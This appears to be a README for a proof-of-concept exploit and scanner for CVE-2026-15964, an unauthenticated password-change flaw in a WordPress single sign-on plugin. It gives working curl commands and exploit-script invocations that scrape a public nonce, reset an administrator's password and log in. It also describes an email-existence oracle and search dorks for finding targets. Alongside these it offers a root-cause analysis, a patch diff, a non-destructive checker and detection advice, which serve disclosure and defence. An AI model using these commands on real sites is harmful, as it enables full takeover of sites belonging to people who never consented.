
PoC & checker for CVE-2026-15964 - unauthenticated password change in the WordPress plugin Single Sign On For TNG <= 2.0.0 (CVSS 9.8)
Unauthenticated privilege escalation via unverified password change in the WordPress plugin Single Sign On For TNG.
| Severity | Critical (9.8) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-620 (Unverified Password Change) |
| Affected | plugin versions 1.0.0 through 2.0.0 |
| Fixed in | 2.1.0 (released 2026-07-27) |
| Published | 2026-08-01 |
| Auth required | none (wp_ajax_nopriv_ssoprocess_ajax) |
| Impact | change the password of any WordPress account, including administrators - full site takeover |
| Plugin | https://wordpress.org/plugins/single-sign-on-for-tng/ |
Any unauthenticated visitor can change the password of any account on a site running the plugin at 2.0.0 or earlier. Two HTTP requests:
SSOPWDREQUIREMENT JavaScript object.admin-ajax.php with operation=setnewpassword, a victim email and
a new password.WordPress core's reset_password() does the rest. No token, no email
confirmation link, no capability check. Log in as admin afterwards.
NONCE=$(curl -sk https://target/ | grep -oP "SSOPWDREQUIREMENT\s*=\s*\{.*?'nonce'\s*:\s*'\K[0-9a-f]{10}")
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-d "action=ssoprocess_ajax&nonce=${NONCE}&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
# -> {"success":true}
In single-sign-on-for-tng.php (v2.0.0):
add_action('wp_ajax_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 68
add_action('wp_ajax_nopriv_ssoprocess_ajax', array($this, 'ssoprocess_ajax')); // line 69
wp_ajax_nopriv_* means the handler is reachable with no session at all.
load_scripts() is hooked to wp_enqueue_scripts, so on every front-end
page the plugin prints this into the HTML:
wp_localize_script('general_script','SSOPWDREQUIREMENT',
array('passwordspec'=>PASSWORDSPEC,
'url'=>admin_url('admin-ajax.php'),
'nonce'=>wp_create_nonce("ssoajaxnonce"))); // line 96
Which renders as:
<script id="general_script-js-extra">
var SSOPWDREQUIREMENT = {"passwordspec":"...","url":"https://target/wp-admin/admin-ajax.php","nonce":"9c0de6ab12"};
</script>
And the handler verifies it like this:
public function ssoprocess_ajax() {
global $wpdb;
check_ajax_referer('ssoajaxnonce', 'nonce'); // line 104
...
The catch: WordPress computes nonces with wp_create_nonce($action) using
uid and the session token. For logged-out visitors those are 0 and an
empty string, which means every anonymous visitor gets the exact same nonce.
It is only re-rolled every 12 hours (the nonce tick). So the nonce that the
plugin prints for any visitor is also valid for the attacker - there is no
secret to steal, it is published on the page itself.
switch ($op) {
case 'setnewpassword':
if (!isset($post['email']) || !isset($post['password'])) { ... }
$email = wp_unslash($post['email']);
$user = get_user_by('email', $email);
if ($user !== false) {
reset_password($user, $post['password']); // line 120
...
wp_send_json_success(array('success'=>true));
}
else
wp_send_json_error(array('success'=>false));
break;
reset_password() is a WordPress core function. It sets the new hash, logs the
victim out of every other session, and fires the password_reset /
after_password_reset actions. It is called here with nothing proving the
caller is the account owner.
Two extras worth knowing:
MINIMUM_PASSWORD_LENGTH / PASSWORDSPEC rules are only enforced in
validate_form() for Forminator forms, never here. Any password is accepted.{"success":true} vs {"success":false} tells you
whether an email is registered. The checker's --enum-only mode uses this.operation=set_tzoffset calls
update_option('localtzoffset', $post['timezoneoffset']) unauthenticated.
Not directly exploitable for RCE, but it is an unauthenticated option write
and worth mentioning in the writeup.Diffing 2.0.0 against 2.1.0 makes the fix obvious (and confirms the bug):
case 'setnewpassword':
+ $timeout = intval($post['timeout']);
+ if (time() > $timeout) {
+ // clears custom_recovery_token / _expiration / _nonce user meta
+ wp_send_json_error(array('success'=>false,'message'=>'The time to submit the new password expired...'));
+ return;
+ }
$email = wp_unslash($post['email']);
$user = get_user_by('email',$email);
if ($user !== false) {
reset_password($user,$post['password']);
plus, in newpasswordform():
+ if (empty($_GET['uid']))
+ return ... "An unexpected error occurred." ...
+ $user_id = intval(sanitize_text_field(wp_unslash($_GET['uid'])));
+
+ // The nonce is checked here
+ if (wp_verify_nonce(get_user_meta($user_id, 'custom_recovery_nonce', true), 'ssopwdnonce') === false)
+ return ... "This recovery link is no longer valid." ...
So in 2.1.0 the flow is: a real recovery request stores a per-user
custom_recovery_token + custom_recovery_nonce in user meta, the recovery
link carries the user id, the form validates both, and the AJAX handler refuses
to run once the recovery window (timeout) has expired. An attacker who can't
produce a live recovery record can't drive setnewpassword anymore.
Step 1 - scrape the nonce
curl -sk https://target/ | grep -oE "SSOPWDREQUIREMENT[^;]+"
Step 2 - change the password
curl -sk -X POST https://target/wp-admin/admin-ajax.php \
-H "X-Requested-With: XMLHttpRequest" \
-d "action=ssoprocess_ajax&nonce=<NONCE>&operation=setnewpassword&[email protected]&password=Pwned!@2026x"
Expected response on a vulnerable install: {"success":true}
Step 3 - log in
curl -sk -X POST https://target/wp-login.php \
-d "[email protected]&pwd=Pwned!@2026x&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1"
CVE-2026-15964.pySingle-site exploit. Non-destructive modes included.
# one-shot: scrape nonce + change the admin password
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x'
# just scrape the nonce
python3 CVE-2026-15964.py -u https://target --scrape-only
# reuse a nonce you already have
python3 CVE-2026-15964.py -u https://target -e [email protected] -p 'NewPass!2026x' -n 9c0de6ab12
# account existence oracle (no password is set)
python3 CVE-2026-15964.py -u https://target -e [email protected] --enum-only
# fully passive: is the plugin even installed? (GET only)
python3 CVE-2026-15964.py -u https://target --check
CVE-2026-15964-checker.pyBatch scanner for your own site lists. Non-destructive by design - it never changes a password.
How it classifies each site:
SSOPWDREQUIREMENT object or the
/wp-content/plugins/single-sign-on-for-tng/ asset paths in the homepage.readme.txt Stable tag: line. <= 2.0.0 is vulnerable,
>= 2.1.0 is patched. This is authoritative per the CVE.--probe, only when the version can't be read) - posts
operation=setnewpassword with a non-existent email. A 2.0.0 install
answers {"success":false} with no error message; a 2.1.0 install answers
with the "time to submit the new password expired" message. A real email is
never sent - sending one would actually reset the password.# scan a file of URLs, with the safe probe and 20 workers
python3 CVE-2026-15964-checker.py -f sites.txt --probe --workers 20 --csv results.csv
# or a handful of URLs directly
python3 CVE-2026-15964-checker.py -u https://a.com -u https://b.com
Sample output:
URL VERDICT VER NONCE DETAIL
--------------------------------------------------------------------------------------------------------------
https://lab.example.com VULNERABLE 2.0.0 yes readme Stable tag 2.0.0 <= 2.0.0
https://lab2.example.com PATCHED 2.1.0 yes readme Stable tag 2.1.0 > 2.0.0
https://plain-wp.example.com PLUGIN_NOT_FOUND - -
Total: 3 | VULNERABLE: 1 | PATCHED: 1 | UNKNOWN: 0 | other: 1
Verdicts: VULNERABLE / PATCHED / PLUGIN_NOT_FOUND / NOT_WORDPRESS /
UNKNOWN / ERROR. UNKNOWN usually means a WAF, an aggressive CDN cache or
a site that blocks the readme - check those by hand.
tests/mock_server.py emulates six cases (vulnerable-by-version,
patched-by-version, vulnerable-by-probe, patched-by-probe, WordPress without
the plugin, non-WordPress). This is how the checker's logic was validated
before pointing it at anything real:
# terminal 1
python3 tests/mock_server.py 8081 vuln_readme
# terminal 2
python3 CVE-2026-15964-checker.py -u http://127.0.0.1:8081 --probe
# -> VULNERABLE
pip install -r requirements.txt gets you the only dependency (requests).
Honest context, because it affects how you use this.
inurl:"single-sign-on-for-tng",
"SSOPWDREQUIREMENT" in search engines that index full page source
(PublicWWW, Censys, FOFA), and the TNG community itself
(tngsitebuilding.com, genealogy forums).UNKNOWN bucket will be comparatively large on real
genealogical sites - many run behind aggressive caching or block
readme.txt. Don't read that as "not vulnerable"; check by hand.admin-ajax.php POSTs where action=ssoprocess_ajax does
not come from an authenticated session; alert on setnewpassword from
anonymous sources.wp_users.user_pass hash changes and the password_reset /
after_password_reset actions; watch for admin logins immediately after a
password change.ssoajaxnonce as public knowledge - it always was.This repository is for authorized security testing and educational purposes only. You are responsible for your own actions. Do not run these tools against systems you do not own or have explicit written permission to test. Unauthorized access to computer systems is a crime in most jurisdictions.